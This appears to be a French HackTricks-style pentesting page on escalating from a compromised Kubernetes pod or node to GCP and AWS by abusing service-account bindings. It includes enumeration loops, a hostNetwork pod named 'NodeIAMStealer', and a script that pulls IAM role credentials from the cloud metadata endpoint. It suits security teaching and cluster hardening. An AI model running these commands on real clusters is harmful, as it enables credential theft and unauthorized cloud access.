# Kubernetes Pivoting to Clouds

{{#include ../../banners/hacktricks-training.md}}

## GCP

Si vous exécutez un cluster k8s à l'intérieur de GCP, vous voudrez probablement qu'une application s'exécutant à l'intérieur du cluster ait un accès à GCP. Il existe 2 façons courantes de le faire :

### Montage des clés GCP-SA en tant que secret

Une façon courante de donner **accès à une application kubernetes à GCP** est de :

- Créer un compte de service GCP
- Lier les permissions souhaitées
- Télécharger une clé json du SA créé
- La monter en tant que secret à l'intérieur du pod
- Définir la variable d'environnement GOOGLE_APPLICATION_CREDENTIALS pointant vers le chemin où se trouve le json.

> [!WARNING]
> Par conséquent, en tant qu'**attaquant**, si vous compromettez un conteneur à l'intérieur d'un pod, vous devez vérifier cette **variable** **env** et les **fichiers** **json** avec les identifiants GCP.

### Lier le json GSA au secret KSA

Une façon de donner accès à un GSA à un cluster GKE est de les lier de cette manière :

- Créer un compte de service Kubernetes dans le même namespace que votre cluster GKE en utilisant la commande suivante :
```bash
Copy codekubectl create serviceaccount <service-account-name>
```
- Créez un Secret Kubernetes qui contient les identifiants du compte de service GCP auquel vous souhaitez accorder l'accès au cluster GKE. Vous pouvez le faire en utilisant l'outil en ligne de commande `gcloud`, comme montré dans l'exemple suivant :
```bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- Liez le Secret Kubernetes au compte de service Kubernetes en utilisant la commande suivante :
```bash
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> Dans la **deuxième étape**, les **identifiants du GSA ont été définis comme secret du KSA**. Ensuite, si vous pouvez **lire ce secret** depuis **l'intérieur** du **cluster GKE**, vous pouvez **escalader vers ce compte de service GCP**.

### Identité de Charge de Travail GKE

Avec l'Identité de Charge de Travail, nous pouvons configurer un [compte de service Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) pour agir en tant que [compte de service Google](https://cloud.google.com/iam/docs/understanding-service-accounts). Les pods s'exécutant avec le compte de service Kubernetes s'authentifieront automatiquement en tant que compte de service Google lors de l'accès aux API Google Cloud.

La **première série d'étapes** pour activer ce comportement est d'**activer l'Identité de Charge de Travail dans GCP** ([**étapes**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) et de créer le SA GCP que vous souhaitez que k8s imite.

- **Activer l'Identité de Charge de Travail** sur un nouveau cluster
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Créer/Mettre à jour un nouveau pool de nœuds** (Les clusters Autopilot n'ont pas besoin de cela)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Créez le **compte de service GCP à imiter** depuis K8s avec les autorisations GCP :
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Connectez-vous** au **cluster** et **créez** le **compte de service** à utiliser
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Lier le GSA avec le KSA**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Exécutez un **pod** avec le **KSA** et vérifiez l'**accès** au **GSA :**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Vérifiez la commande suivante pour vous authentifier si nécessaire :
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> En tant qu'attaquant à l'intérieur de K8s, vous devriez **rechercher des SAs** avec l'**annotation `iam.gke.io/gcp-service-account`** car cela indique que le SA peut accéder à quelque chose dans GCP. Une autre option serait d'essayer d'abuser de chaque KSA dans le cluster et de vérifier s'il a accès.\
> Depuis GCP, il est toujours intéressant d'énumérer les liaisons et de savoir **quel accès vous accordez aux SAs à l'intérieur de Kubernetes**.

Ceci est un script pour facilement **itérer sur toutes les définitions de pods** **cherchant** cette **annotation** :
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
```
## AWS

### Kiam & Kube2IAM (rôle IAM pour les Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

Une manière (dépassée) de donner des rôles IAM aux Pods est d'utiliser un [**Kiam**](https://github.com/uswitch/kiam) ou un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **serveur.** En gros, vous devrez exécuter un **daemonset** dans votre cluster avec une **sorte de rôle IAM privilégié**. Ce daemonset sera celui qui donnera accès aux rôles IAM aux pods qui en ont besoin.

Tout d'abord, vous devez configurer **quels rôles peuvent être accessibles à l'intérieur de l'espace de noms**, et vous le faites avec une annotation à l'intérieur de l'objet d'espace de noms :
```yaml:Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
```

```yaml:Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Une fois que l'espace de noms est configuré avec les rôles IAM que les Pods peuvent avoir, vous pouvez **indiquer le rôle que vous souhaitez sur chaque définition de pod avec quelque chose comme** :
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> En tant qu'attaquant, si vous **trouvez ces annotations** dans des pods ou des namespaces ou un serveur kiam/kube2iam en cours d'exécution (probablement dans kube-system), vous pouvez **imposer tous les r**ôles qui sont déjà **utilisés par des pods** et plus (si vous avez accès au compte AWS, énumérez les rôles).

#### Créer un Pod avec un rôle IAM

> [!NOTE]
> Le rôle IAM à indiquer doit être dans le même compte AWS que le rôle kiam/kube2iam et ce rôle doit être en mesure d'y accéder.
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role pour les comptes de service K8s via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

C'est la **méthode recommandée par AWS**.

1. Tout d'abord, vous devez [créer un fournisseur OIDC pour le cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Ensuite, vous créez un rôle IAM avec les permissions nécessaires pour le SA.
3. Créez une [relation de confiance entre le rôle IAM et le SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) nom (ou les namespaces donnant accès au rôle à tous les SAs du namespace). _La relation de confiance vérifiera principalement le nom du fournisseur OIDC, le nom du namespace et le nom du SA_.
4. Enfin, **créez un SA avec une annotation indiquant l'ARN du rôle**, et les pods s'exécutant avec ce SA auront **accès au token du rôle**. Le **token** est **écrit** dans un fichier et le chemin est spécifié dans **`AWS_WEB_IDENTITY_TOKEN_FILE`** (par défaut : `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
Pour **obtenir aws en utilisant le token** depuis `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`, exécutez :
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> En tant qu'attaquant, si vous pouvez énumérer un cluster K8s, vérifiez les **comptes de service avec cette annotation** pour **escalader vers AWS**. Pour ce faire, il suffit de **exec/créer** un **pod** en utilisant l'un des **comptes de service IAM privilégiés** et de voler le jeton.
>
> De plus, si vous êtes à l'intérieur d'un pod, vérifiez les variables d'environnement comme **AWS_ROLE_ARN** et **AWS_WEB_IDENTITY_TOKEN.**

> [!CAUTION]
> Parfois, la **politique de confiance d'un rôle** peut être **mal configurée** et au lieu de donner l'accès AssumeRole au compte de service attendu, elle le donne à **tous les comptes de service**. Par conséquent, si vous êtes capable d'écrire une annotation sur un compte de service contrôlé, vous pouvez accéder au rôle.
>
> Consultez la **page suivante pour plus d'informations** :

{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}

### Trouver des Pods et des Comptes de Service avec des Rôles IAM dans le Cluster

Ceci est un script pour facilement **itérer sur tous les pods et définitions de comptes de service** **cherchant** cette **annotation** :
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Rôle IAM du nœud

La section précédente portait sur la manière de voler des rôles IAM avec des pods, mais notez qu'un **nœud du** cluster K8s va être une **instance à l'intérieur du cloud**. Cela signifie que le nœud a de fortes chances d'**avoir un nouveau rôle IAM que vous pouvez voler** (_notez que généralement tous les nœuds d'un cluster K8s auront le même rôle IAM, donc cela peut ne pas valoir la peine d'essayer de vérifier chaque nœud_).

Il y a cependant une exigence importante pour accéder au point de terminaison des métadonnées depuis le nœud, vous devez être dans le nœud (session ssh ?) ou au moins avoir le même réseau :
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Voler le jeton de rôle IAM

Auparavant, nous avons discuté de la façon de **lier des rôles IAM aux Pods** ou même de **s'échapper vers le nœud pour voler le rôle IAM** que l'instance a attaché à elle.

Vous pouvez utiliser le script suivant pour **voler** vos nouvelles **informations d'identification de rôle IAM** durement acquises :
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
```
## Références

- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)

{{#include ../../banners/hacktricks-training.md}}
